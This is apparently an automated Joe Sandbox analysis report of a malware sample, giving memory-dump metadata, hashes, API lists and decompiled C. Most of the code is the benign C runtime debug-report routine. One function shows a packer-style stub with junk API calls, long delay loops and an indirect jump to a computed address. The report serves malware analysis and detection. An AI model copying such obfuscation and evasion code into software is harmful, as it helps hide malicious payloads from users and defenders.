LocalAlloc.KERNELBASE(00000000), ref: 00419C8E

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 3571bb372733993f9b4c96057daa876bbc03d7ea11c7f877e755b551834daa39
Instruction ID: 21ac284789e0f913026888750c1f1c21f765b9dfa4357f74692eb68b3a7f463c
Opcode Fuzzy Hash: 3571bb372733993f9b4c96057daa876bbc03d7ea11c7f877e755b551834daa39
Instruction Fuzzy Hash: 5BB011B8082382AAC3808F20AA08B803EA0F302B0BF000030B200E0AA8CBB000808A0A

Uniqueness

Uniqueness Score: -1.00%

Function 00419C86, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000), ref: 00419C8E

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: c5652da4b9a0751b24a4bb7e442be5ed37a4c831d8d269b5dfcf17dbb6553f87
Instruction ID: 019fb2e64a9b276ebf310d41e95adf70c6358cc02637eb6adb2296fd202f371f
Opcode Fuzzy Hash: c5652da4b9a0751b24a4bb7e442be5ed37a4c831d8d269b5dfcf17dbb6553f87
Instruction Fuzzy Hash: 12B012B94413419BC7404F60AE047403F61F306703F000020F200D0674C7700080AB05

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042CB92, Relevance: 107.3, APIs: 39, Strings: 22, Instructions: 501
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0042CB92() {
				struct _OVERLAPPED* _t166;
				WCHAR* _t170;
				signed int _t181;
				long _t184;
				intOrPtr _t190;
				signed int _t195;
				void* _t200;
				void* _t203;
				void* _t207;
				struct _OVERLAPPED* _t215;
				struct _OVERLAPPED** _t216;
				intOrPtr _t233;
				void* _t243;
				void* _t244;
				void* _t245;
				signed int _t267;
				signed int _t269;
				void* _t303;
				void* _t304;
				void* _t305;
				void* _t306;
				signed int _t307;
				void* _t309;
				void* _t311;
				void* _t313;
				void* _t315;

				if(InterlockedIncrement(0x441060) <= 0) {
					if( *((intOrPtr*)(_t307 + 0x18)) != 0) {
						 *(_t307 - 0x7038) =  *(L00422E80(_t245));
						 *(L00422E80(_t245)) = 0;
						_t282 =  *((intOrPtr*)(_t307 + 0x1c));
						_t233 = E004383A0(_t307 - 0x7030, 0x1000, 0xfeb,  *((intOrPtr*)(_t307 + 0x18)),  *((intOrPtr*)(_t307 + 0x1c)));
						_t309 = _t309 + 0x14;
						 *((intOrPtr*)(_t307 - 0x7034)) = _t233;
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E0041DA60( *(L00422E80(_t282)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x206, 0);
							_t309 = _t309 + 0x20;
						}
						 *(L00422E80(_t282)) =  *(_t307 - 0x7038);
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E0041DFD0(E0042DBA0(_t243, _t282, _t303, _t305, _t307 - 0x7030, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t236, L"wcscpy_s(szUserMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x209, 0);
							_t309 = _t309 + 0x24;
						}
					}
					if( *(_t307 + 8) == 2) {
						if( *((intOrPtr*)(_t307 + 0x18)) == 0) {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed!";
						} else {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed: ";
						}
						E0041DFD0(E0042DBA0(_t243,  *((intOrPtr*)(_t307 - 0x8070)), _t303, _t305, _t307 - 0x5030, 0x1000,  *((intOrPtr*)(_t307 - 0x8070))), _t227, L"wcscpy_s(szLineMessage, 4096, szFormat ? L\"Assertion failed: \" : L\"Assertion failed!\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x20e, 0);
						_t309 = _t309 + 0x24;
					}
					_t246 = _t307 - 0x5030;
					E0041DFD0(E004379D0(_t243, _t307 - 0x5030, _t303, _t305, _t307 - 0x5030, 0x1000, _t307 - 0x7030), _t159, L"wcscat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x210, 0);
					_t311 = _t309 + 0x24;
					if( *(_t307 + 8) == 2) {
						if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
							_t246 = _t307 - 0x5030;
							E0041DFD0(E004379D0(_t243, _t307 - 0x5030, _t303, _t305, _t307 - 0x5030, 0x1000, "\r"), _t225, L"wcscat_s(szLineMessage, 4096, L\"\\r\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x215, 0);
							_t311 = _t311 + 0x24;
						}
						E0041DFD0(E004379D0(_t243, _t246, _t303, _t305, _t307 - 0x5030, 0x1000, "\n"), _t223, L"wcscat_s(szLineMessage, 4096, L\"\\n\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x217, 0);
						_t311 = _t311 + 0x24;
					}
					if( *(_t307 + 0xc) == 0) {
						E0041DFD0(E0042DBA0(_t243, _t307 - 0x3028, _t303, _t305, _t307 - 0x3028, 0x1000, _t307 - 0x5030), _t162, L"wcscpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x225, 0);
						_t313 = _t311 + 0x24;
					} else {
						 *(_t307 - 0x703c) = 0;
						 *(_t307 - 0x7040) =  *(L00422E80(_t246));
						 *(L00422E80(_t246)) = 0;
						_push(_t307 - 0x5030);
						_push( *(_t307 + 0x10));
						_t279 = _t307 - 0x3028;
						_t215 = E0042D9B0(_t307 - 0x3028, _t307 - 0x3028, 0x1000, 0x1000, L"%s(%d) : %s",  *(_t307 + 0xc));
						_t313 = _t311 + 0x1c;
						 *(_t307 - 0x703c) = _t215;
						if( *(_t307 - 0x703c) < 0) {
							E0041DA60( *((intOrPtr*)(L00422E80(_t279))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x21f, 0);
							_t313 = _t313 + 0x20;
						}
						_t216 = L00422E80(_t279);
						_t280 =  *(_t307 - 0x7040);
						 *_t216 =  *(_t307 - 0x7040);
						if( *(_t307 - 0x703c) < 0) {
							E0041DFD0(E0042DBA0(_t243, _t280, _t303, _t305, _t307 - 0x3028, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t217, L"wcscpy_s(szOutMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x221, 0);
							_t313 = _t313 + 0x24;
						}
					}
					 *(_t307 - 0x7044) = 0;
					_t285 = _t307 - 0x3028;
					_t166 = E0041DA60(L004379A0(0, _t307 - 0x1020, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22b, 0);
					_t315 = _t313 + 0x34;
					 *(_t307 - 0x7044) = _t166;
					if( *(_t307 - 0x7044) != 0) {
						E0041DFD0(E0041DB50(_t243, _t307 - 0x1020, _t305, _t307 - 0x1020, 0x1000, "_CrtDbgReport: String too long or Invalid characters in String"), _t209, L"strcpy_s(szOutMessage2, 4096, \"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22d, 0);
						_t315 = _t315 + 0x24;
					}
					if( *0x54b818 != 0 ||  *0x54b814 != 0) {
						 *(_t307 - 0x704c) = 0;
						 *(_t307 - 0x7048) = 0;
						L0041E330(0xf);
						_t315 = _t315 + 4;
						 *(_t307 - 4) = 1;
						_t285 =  *0x54b818;
						 *(_t307 - 0x704c) =  *0x54b818;
						while( *(_t307 - 0x704c) != 0) {
							 *(_t307 - 0x7050) = 0;
							_t285 =  *(_t307 - 0x704c);
							_t207 =  *(( *(_t307 - 0x704c))[6])( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7050);
							_t315 = _t315 + 0xc;
							if(_t207 == 0) {
								 *(_t307 - 0x704c) = ( *(_t307 - 0x704c))[2];
								continue;
							} else {
								 *(_t307 - 0x1024) =  *(_t307 - 0x7050);
								 *(_t307 - 0x302c) = 1;
							}
							break;
						}
						if( *(_t307 - 0x302c) == 0) {
							_t285 =  *0x54b814;
							 *(_t307 - 0x7048) =  *0x54b814;
							while( *(_t307 - 0x7048) != 0) {
								 *(_t307 - 0x7054) = 0;
								_t285 =  *(_t307 - 0x7048);
								_t203 =  *(( *(_t307 - 0x7048))[6])( *(_t307 + 8), _t307 - 0x3028, _t307 - 0x7054);
								_t315 = _t315 + 0xc;
								if(_t203 == 0) {
									 *(_t307 - 0x7048) = ( *(_t307 - 0x7048))[2];
									continue;
								} else {
									 *(_t307 - 0x1024) =  *(_t307 - 0x7054);
									 *(_t307 - 0x302c) = 1;
								}
								goto L43;
							}
						}
						L43:
						 *(_t307 - 4) = 0;
						E0042D10A();
					}
					if( *(_t307 - 0x302c) == 0) {
						if( *0x54b810 != 0) {
							 *(_t307 - 0x7058) = 0;
							_t285 = _t307 - 0x7058;
							_t200 =  *0x54b810( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7058);
							_t315 = _t315 + 0xc;
							if(_t200 != 0) {
								_t285 =  *(_t307 - 0x7058);
								 *(_t307 - 0x1024) =  *(_t307 - 0x7058);
								 *(_t307 - 0x302c) = 1;
							}
						}
						if( *(_t307 - 0x302c) == 0) {
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
								_t285 =  *(_t307 + 8);
								if( *(0x441070 +  *(_t307 + 8) * 4) != 0xffffffff) {
									_t181 =  *(_t307 + 8);
									_t263 =  *(0x441070 + _t181 * 4);
									 *((intOrPtr*)(_t307 - 0x8074)) = GetFileType( *(0x441070 + _t181 * 4));
									if( *((intOrPtr*)(_t307 - 0x8074)) == 2) {
										_t184 = E0042DB70(_t263, _t307 - 0x3028);
										_t315 = _t315 + 4;
										_t285 =  *(_t307 + 8);
										if(WriteConsoleW( *(0x441070 +  *(_t307 + 8) * 4), _t307 - 0x3028, _t184, _t307 - 0x705c, 0) == 0) {
											if(GetLastError() == 6) {
												goto L57;
											} else {
											}
										} else {
										}
									} else {
										L57:
										 *(_t307 - 0x8064) = 0;
										_t190 = E0041DA60(L004379A0(_t307 - 0x8064, _t307 - 0x8060, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x27e, 0);
										_t315 = _t315 + 0x34;
										 *((intOrPtr*)(_t307 - 0x8068)) = _t190;
										if( *((intOrPtr*)(_t307 - 0x8068)) == 0 ||  *((intOrPtr*)(_t307 - 0x8068)) == 0x50) {
											if( *(_t307 - 0x8064) > 0) {
												 *(_t307 - 0x8064) =  *(_t307 - 0x8064) - 1;
											}
											_t267 =  *(_t307 + 8);
											_t285 =  *(0x441070 + _t267 * 4);
											WriteFile( *(0x441070 + _t267 * 4), _t307 - 0x8060,  *(_t307 - 0x8064), _t307 - 0x705c, 0);
										} else {
											_t195 = E0042DB70(_t307 - 0x705c, _t307 - 0x3028);
											_t315 = _t315 + 4;
											_t269 =  *(_t307 + 8);
											_t285 =  *(0x441070 + _t269 * 4);
											WriteFile( *(0x441070 + _t269 * 4), _t307 - 0x3028, _t195 << 1, _t307 - 0x705c, 0);
										}
									}
								}
							}
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000002) != 0) {
								_t285 = _t307 - 0x3028;
								OutputDebugStringW(_t307 - 0x3028);
							}
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000004) != 0) {
								 *(_t307 - 0x5030) = 0;
								if( *(_t307 + 0x10) != 0) {
									E0041DFD0(E004383D0( *(_t307 + 0x10),  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t179, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x29c, 0);
									_t315 = _t315 + 0x28;
								}
								asm("sbb ecx, ecx");
								_t285 = _t307 - 0x5030;
								 *(_t307 - 0x1024) = E0041E400(_t243, _t307 - 0x5030, _t303, _t305,  *(_t307 + 8),  *(_t307 + 0xc),  ~( *(_t307 + 0x10)) & _t307 - 0x00005030,  *((intOrPtr*)(_t307 + 0x14)), _t307 - 0x7030);
							}
						}
					}
				} else {
					_t241 = E0041DFD0(E004383D0(_t307 - 0x5030,  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t240, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1f0, 0);
					OutputDebugStringW(L"Second Chance Assertion Failed: File ");
					if( *(_t307 + 0xc) == 0) {
						 *(_t307 - 0x806c) = L"<file unknown>";
					} else {
						_t241 =  *(_t307 + 0xc);
						 *(_t307 - 0x806c) =  *(_t307 + 0xc);
					}
					OutputDebugStringW( *(_t307 - 0x806c));
					OutputDebugStringW(L", Line ");
					_t285 = _t307 - 0x5030;
					OutputDebugStringW(_t307 - 0x5030);
					OutputDebugStringW("\n");
					E0042C260(_t241);
					 *(_t307 - 0x1024) = 0xffffffff;
				}
				 *(_t307 - 4) = 0xfffffffe;
				E0042D397();
				_t170 =  *(_t307 - 0x1024);
				 *[fs:0x0] =  *((intOrPtr*)(_t307 - 0x10));
				_pop(_t304);
				_pop(_t306);
				_pop(_t244);
				return E0042BCD0(_t170, _t244,  *(_t307 - 0x1c) ^ _t307, _t285, _t304, _t306);
			}

0x0042cb9f
0x0042cc4c
0x0042cc59
0x0042cc64
0x0042cc6a
0x0042cc83
0x0042cc88
0x0042cc8b
0x0042cc98
0x0042ccbc
0x0042ccc1
0x0042ccc1
0x0042cccf
0x0042ccd8
0x0042cd0a
0x0042cd0f
0x0042cd0f
0x0042ccd8
0x0042cd16
0x0042cd1c
0x0042cd2a
0x0042cd1e
0x0042cd1e
0x0042cd1e
0x0042cd66
0x0042cd6b
0x0042cd6b
0x0042cd90
0x0042cda0
0x0042cda5
0x0042cdac
0x0042cdbb
0x0042cddd
0x0042cded
0x0042cdf2
0x0042cdf2
0x0042ce25
0x0042ce2a
0x0042ce2a
0x0042ce31
0x0042cf41
0x0042cf46
0x0042ce37
0x0042ce37
0x0042ce48
0x0042ce53
0x0042ce5f
0x0042ce63
0x0042ce77
0x0042ce7e
0x0042ce83
0x0042ce86
0x0042ce93
0x0042ceb7
0x0042cebc
0x0042cebc
0x0042cebf
0x0042cec4
0x0042ceca
0x0042ced3
0x0042cf05
0x0042cf0a
0x0042cf0a
0x0042cf0d
0x0042cf49
0x0042cf6f
0x0042cf8d
0x0042cf92
0x0042cf95
0x0042cfa2
0x0042cfd4
0x0042cfd9
0x0042cfd9
0x0042cfe3
0x0042cff2
0x0042cffc
0x0042d008
0x0042d00d
0x0042d010
0x0042d017
0x0042d01d
0x0042d034
0x0042d03d
0x0042d059
0x0042d062
0x0042d064
0x0042d069
0x0042d02e
0x00000000
0x0042d06b
0x0042d071
0x0042d077
0x0042d077
0x00000000
0x0042d069
0x0042d08c
0x0042d08e
0x0042d094
0x0042d0ab
0x0042d0b4
0x0042d0d0
0x0042d0d9
0x0042d0db
0x0042d0e0
0x0042d0a5
0x00000000
0x0042d0e2
0x0042d0e8
0x0042d0ee
0x0042d0ee
0x00000000
0x0042d0e0
0x0042d0ab
0x0042d0fc
0x0042d0fc
0x0042d103
0x0042d103
0x0042d11c
0x0042d129
0x0042d12b
0x0042d135
0x0042d147
0x0042d14d
0x0042d152
0x0042d154
0x0042d15a
0x0042d160
0x0042d160
0x0042d152
0x0042d171
0x0042d184
0x0042d18a
0x0042d195
0x0042d19b
0x0042d19e
0x0042d1ac
0x0042d1b9
0x0042d1cd
0x0042d1d2
0x0042d1dd
0x0042d1f0
0x0042d200
0x00000000
0x00000000
0x0042d202
0x00000000
0x0042d1f2
0x0042d1bb
0x0042d207
0x0042d207
0x0042d250
0x0042d255
0x0042d258
0x0042d265
0x0042d2ac
0x0042d2b7
0x0042d2b7
0x0042d2d4
0x0042d2d7
0x0042d2df
0x0042d270
0x0042d280
0x0042d285
0x0042d292
0x0042d295
0x0042d29d
0x0042d29d
0x0042d265
0x0042d1b9
0x0042d195
0x0042d2f2
0x0042d2f4
0x0042d2fb
0x0042d2fb
0x0042d30e
0x0042d312
0x0042d31d
0x0042d350
0x0042d355
0x0042d355
0x0042d368
0x0042d36a
0x0042d383
0x0042d383
0x0042d30e
0x0042d171
0x0042cba5
0x0042cbd6
0x0042cbe3
0x0042cbed
0x0042cbfa
0x0042cbef
0x0042cbef
0x0042cbf2
0x0042cbf2
0x0042cc0b
0x0042cc16
0x0042cc1c
0x0042cc23
0x0042cc2e
0x0042cc34
0x0042cc39
0x0042cc39
0x0042d389
0x0042d390
0x0042d3a9
0x0042d3b2
0x0042d3ba
0x0042d3bb
0x0042d3bc
0x0042d3ca

APIs

InterlockedIncrement.KERNEL32(00441060), ref: 0042CB97
__invoke_watson_if_error.LIBCMTD ref: 0042CBD6
OutputDebugStringW.KERNEL32(Second Chance Assertion Failed: File ), ref: 0042CBE3
OutputDebugStringW.KERNEL32(00406790), ref: 0042CC0B
OutputDebugStringW.KERNEL32(, Line ), ref: 0042CC16
OutputDebugStringW.KERNEL32(?), ref: 0042CC23
OutputDebugStringW.KERNEL32(0040677C), ref: 0042CC2E
_wcscat_s.LIBCMTD ref: 0042CDE4

Part of subcall function 004379D0: __invalid_parameter.LIBCMTD ref: 00437A42

__invoke_watson_if_error.LIBCMTD ref: 0042CDED

Part of subcall function 0041DFD0: __invoke_watson.LIBCMTD ref: 0041DFF1

_wcscat_s.LIBCMTD ref: 0042CE1C

Part of subcall function 004379D0: _memset.LIBCMT ref: 00437AAF
Part of subcall function 004379D0: __invalid_parameter.LIBCMTD ref: 00437B0B

__invoke_watson_if_error.LIBCMTD ref: 0042CE25
__snwprintf_s.LIBCMTD ref: 0042CE7E

Part of subcall function 0042D9B0: __vsnwprintf_s_l.LIBCMTD ref: 0042D9D2

__invoke_watson_if_oneof.LIBCMTD ref: 0042CEB7
_wcscpy_s.LIBCMTD ref: 0042CEFC
__invoke_watson_if_error.LIBCMTD ref: 0042CF05
__invoke_watson_if_oneof.LIBCMTD ref: 0042CF8D
_wcscpy_s.LIBCMTD ref: 0042CFCB
__invoke_watson_if_error.LIBCMTD ref: 0042CFD4
__itow_s.LIBCMTD ref: 0042CBCD

Part of subcall function 004383D0: _xtow_s@20.LIBCMTD ref: 004383FB

__strftime_l.LIBCMTD ref: 0042CC83
__invoke_watson_if_oneof.LIBCMTD ref: 0042CCBC
_wcscpy_s.LIBCMTD ref: 0042CD01
__invoke_watson_if_error.LIBCMTD ref: 0042CD0A
_wcscpy_s.LIBCMTD ref: 0042CD5D
__invoke_watson_if_error.LIBCMTD ref: 0042CD66
_wcscat_s.LIBCMTD ref: 0042CD97
__invoke_watson_if_error.LIBCMTD ref: 0042CDA0

Strings

wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 0042CEE6
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 0042CCEB
<file unknown>, xrefs: 0042CBFA
wcscat_s(szLineMessage, 4096, L"\r"), xrefs: 0042CDCE
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 0042CBAC, 0042CCA1, 0042CCE1, 0042CD3B, 0042CD75, 0042CDC4, 0042CDFC, 0042CE9C, 0042CEDC, 0042CF5A, 0042CFAB, 0042D218, 0042D326
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 0042CFB5
Assertion failed: , xrefs: 0042CD1E
_itow_s(nLine, szLineMessage, 4096, 10), xrefs: 0042CBB6, 0042D330
wcscat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042CD7F
P, xrefs: 0042D267
wcscat_s(szLineMessage, 4096, L"\n"), xrefs: 0042CE06
Assertion failed!, xrefs: 0042CD2A
Second Chance Assertion Failed: File , xrefs: 0042CBDE
_VCrtDbgReportW, xrefs: 0042CBB1, 0042CCA6, 0042CCE6, 0042CD40, 0042CD7A, 0042CDC9, 0042CE01, 0042CEA1, 0042CEE1, 0042CF5F, 0042CFB0, 0042D21D, 0042D32B
wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042CF64
wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!"), xrefs: 0042CD45
, Line , xrefs: 0042CC11
wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042D222
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 0042CFBA
%s(%d) : %s, xrefs: 0042CE68
(*_errno()), xrefs: 0042CCAB, 0042CEA6
_CrtDbgReport: String too long or IO Error, xrefs: 0042CCF0, 0042CEEB

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnwprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $P$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportW$_itow_s(nLine, szLineMessage, 4096, 10)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")$wcscat_s(szLineMessage, 4096, L"\n")$wcscat_s(szLineMessage, 4096, L"\r")$wcscat_s(szLineMessage, 4096, szUserMessage)$wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))$wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))
API String ID: 2252013794-3875623755
Opcode ID: 6b16525b2c749ed66b3cc70def06961c6f591067a0010f7672d515202b52841d
Instruction ID: a2fb3759e0d45cabb206965ac6b171235bda00f169881a3bdf30e6fae7892b10
Opcode Fuzzy Hash: 6b16525b2c749ed66b3cc70def06961c6f591067a0010f7672d515202b52841d
Instruction Fuzzy Hash: 761294B5E44324EBE720DF50DC46FDA7378AB04704F5081AAF609762C1D6BCAA94CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00419C9A, Relevance: 43.9, APIs: 17, Strings: 8, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00419C9A() {
				signed int _v8;
				char _v1116;
				char _v2140;
				char _v4196;
				struct _COORD _v4200;
				struct _STARTUPINFOW _v4276;
				union _ULARGE_INTEGER _v4284;
				union _ULARGE_INTEGER _v4292;
				short _v6340;
				union _ULARGE_INTEGER _v6348;
				char _v6636;
				signed int _v6640;
				void _v6672;
				signed int _v6676;

				E0041AAD0(0x1a50);
				_v8 = _v8 & 0x00000000;
				while(_v8 < 0x332beaf6) {
					SetLastError(0);
					if( *0x54abf4 == 0x16) {
						GetConsoleCursorInfo(0, 0);
						GetProfileStringA("wegazevevemitohokababawijufapiyodewemu", "gugafavapisufetirenucihobeyokuxutebijubixofaxabe", "xoliwerarihazohupamuzuficumabaselacahexuxa",  &_v2140, 0);
						WriteProfileSectionW(0, 0);
						GetProfileStringA("yobahojicusenino", "pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow", "leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled",  &_v1116, 0);
					}
					GetLastError();
					if( *0x54abf4 == 0x9e) {
						__imp__GetSystemWow64DirectoryW( &_v4196, 0);
						GetWindowsDirectoryW( &_v6340, 0);
						__imp__GetCPInfoExA(0, 0,  &_v6636);
						GetDiskFreeSpaceExA("Yapey hetucironijas nuxo xukedosi bovuludut",  &_v4284,  &_v4292,  &_v6348);
						GetStartupInfoW( &_v4276);
						ReadConsoleOutputCharacterW(0, 0, 0, _v4200, 0);
					}
					if(_v8 <= 0x3775ee) {
						_v8 = _v8 + 1;
						continue;
					} else {
						break;
					}
				}
				L004199C8( *0x443950,  *0x54abf4, 0x440010);
				_v6640 = _v6640 & 0x00000000;
				while(_v6640 < 0x3e79e) {
					if( *0x54abf4 == 0x10) {
						GlobalUnWire( &_v6672);
					}
					if(_v6640 == 0x1e673) {
						 *0x443950 =  *0x443950 + 0x3baf;
					}
					_v6640 = _v6640 + 1;
				}
				_v6676 = _v6676 & 0x00000000;
				while(_v6676 < 0xdd9a7) {
					if( *0x54abf4 == 0xc01) {
						GetProcessHeap();
						GetProcessHeaps(0, 0);
						WritePrivateProfileStringA(0, 0, 0, 0);
						SetPriorityClass(0, 0);
					}
					_v6676 = _v6676 + 1;
				}
				goto ( *0x443950);
			}

0x00419ca2
0x00419ca7
0x00419cb4
0x00419cc3
0x00419cd0
0x00419cd6
0x00419cf4
0x00419cfe
0x00419d1c
0x00419d1c
0x00419d22
0x00419d32
0x00419d3d
0x00419d4c
0x00419d5d
0x00419d7d
0x00419d8a
0x00419d9e
0x00419d9e
0x00419dab
0x00419cb1
0x00000000
0x00419dad
0x00000000
0x00419dad
0x00419dab
0x00419dc5
0x00419dca
0x00419de0
0x00419df3
0x00419dfc
0x00419dfc
0x00419e0c
0x00419e0e
0x00419e0e
0x00419dda
0x00419dda
0x00419e1a
0x00419e30
0x00419e46
0x00419e48
0x00419e52
0x00419e60
0x00419e6a
0x00419e6a
0x00419e2a
0x00419e2a
0x00419e72

APIs

SetLastError.KERNEL32(00000000), ref: 00419CC3
GetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 00419CD6
GetProfileStringA.KERNEL32(wegazevevemitohokababawijufapiyodewemu,gugafavapisufetirenucihobeyokuxutebijubixofaxabe,xoliwerarihazohupamuzuficumabaselacahexuxa,?,00000000), ref: 00419CF4
WriteProfileSectionW.KERNEL32(00000000,00000000), ref: 00419CFE
GetProfileStringA.KERNEL32(yobahojicusenino,pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow,leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled,?,00000000), ref: 00419D1C
GetLastError.KERNEL32 ref: 00419D22
GetSystemWow64DirectoryW.KERNEL32(?,00000000), ref: 00419D3D
GetWindowsDirectoryW.KERNEL32(?,00000000), ref: 00419D4C
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 00419D5D
GetDiskFreeSpaceExA.KERNEL32(Yapey hetucironijas nuxo xukedosi bovuludut,?,?,?), ref: 00419D7D
GetStartupInfoW.KERNEL32(?), ref: 00419D8A
ReadConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00419D9E
GlobalUnWire.KERNEL32 ref: 00419DFC
GetProcessHeap.KERNEL32 ref: 00419E48
GetProcessHeaps.KERNEL32(00000000,00000000), ref: 00419E52
